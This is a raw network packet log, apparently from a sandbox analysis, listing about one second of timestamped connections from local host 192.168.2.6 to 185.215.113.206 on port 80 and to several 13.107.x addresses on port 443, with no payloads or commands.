Oct 30, 2024 11:45:38.394176006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.394222975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.394689083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.394732952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.480565071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.480581999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.480597019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.480637074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.480680943 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.496493101 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.496594906 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.496638060 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.496824980 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.496840954 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.496851921 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.496857882 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.502265930 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.502290964 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.502341986 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.502576113 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.502592087 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.507848978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.507864952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.507882118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.507896900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.507905960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.507914066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.507926941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.507973909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.508246899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.508264065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.508304119 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.508320093 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.508338928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.508354902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.508369923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.508378983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.508395910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.508397102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.508410931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.508431911 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.509231091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.509246111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.509262085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.509278059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.509287119 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.509287119 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.509294033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.509310007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.509336948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.590023994 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.590500116 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.590518951 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.590955973 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.590961933 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.595741034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.595829964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.595844030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.595859051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.595896959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.595941067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.610285044 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.610771894 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.610786915 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.611232042 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.611237049 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.623092890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623119116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623135090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623147011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623162985 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623189926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623224974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623259068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623261929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623275042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623322964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623644114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623687983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623802900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623817921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623842001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623857021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623863935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623873949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.623878956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623899937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.623913050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.624305964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.624346018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.624351978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.624368906 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.624387026 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.624407053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.624443054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.624459028 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.624474049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.624499083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.624525070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.628525972 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.628566027 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.628650904 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.629025936 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.629061937 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.629117966 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.629462957 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.629477024 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.629663944 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.629676104 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.658679008 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.658726931 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.658812046 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.659125090 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.659174919 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.659246922 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.659357071 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.659364939 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.659403086 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.659935951 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.659949064 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.660123110 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.660135984 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.660336018 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:38.660348892 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:38.711342096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.711359978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.711383104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.711412907 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.711431980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.715898037 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.717044115 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.726721048 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.726747036 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.726788044 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.726850033 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.726862907 CET	49915	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.726881027 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.727624893 CET	49915	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.727627993 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.728226900 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.728241920 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.729547977 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.729552031 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.731321096 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.731332064 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.731342077 CET	49912	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.731347084 CET	443	49912	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.738390923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738408089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738421917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738444090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.738473892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.738516092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738531113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738545895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738559961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.738584995 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.738801003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738848925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.738884926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738924980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.738961935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.738976002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739012003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739188910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739203930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739219904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739228010 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739238024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739248037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739267111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739278078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739599943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739619017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739660978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739739895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739754915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739769936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739785910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.739798069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739798069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739813089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.739834070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.740215063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.740263939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.740298986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.740334988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.743100882 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.743124008 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.743381023 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.743496895 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.743501902 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.753025055 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.753181934 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.753236055 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.753331900 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.753339052 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.753348112 CET	49913	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.753354073 CET	443	49913	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.756793976 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.756834030 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.756911993 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.757033110 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.757045984 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.826868057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.826895952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.826911926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.826931000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.826952934 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854152918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854177952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854201078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854217052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854218960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854229927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854234934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854249954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854259968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854274035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854284048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854284048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854291916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854312897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854399920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854412079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854454041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854454041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854517937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854536057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854577065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854578018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854593992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854609966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.854638100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.854651928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.855072975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.855129004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.855132103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.855149984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.855165958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.855171919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.855190992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.855206013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.855436087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.855475903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.855479956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.855494022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.855521917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.855545044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.861010075 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.861084938 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.861207962 CET	49915	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.861403942 CET	49915	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.861418962 CET	443	49915	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.864197969 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.864226103 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.864301920 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.864542007 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.864552021 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.865189075 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.865302086 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.865387917 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.865442991 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.865454912 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.865480900 CET	49914	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.865485907 CET	443	49914	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.867465973 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.867499113 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.867605925 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.867762089 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:38.867774010 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:38.942095995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.942121029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.942137003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.942151070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.942178965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.942239046 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969305992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969321012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969336033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969386101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969394922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969412088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969436884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969460011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969643116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969667912 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969682932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969711065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969746113 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969865084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969880104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969894886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.969907999 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969921112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.969940901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.970098019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970146894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970161915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970180988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970187902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.970197916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970215082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.970240116 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.970731974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970746040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970761061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970776081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970791101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.970792055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:38.970803976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:38.970846891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.048440933 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.048831940 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.048845053 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.049204111 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.049707890 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.049768925 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.049871922 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.057550907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.057610989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.057610035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.057626963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.057689905 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.057689905 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.084738016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.084790945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.084816933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.084826946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.084861040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.084870100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.084870100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.084897995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.084903002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.084948063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.085127115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085161924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085194111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085205078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.085205078 CET	49888	80	192.168.2.6	185.215.113.206
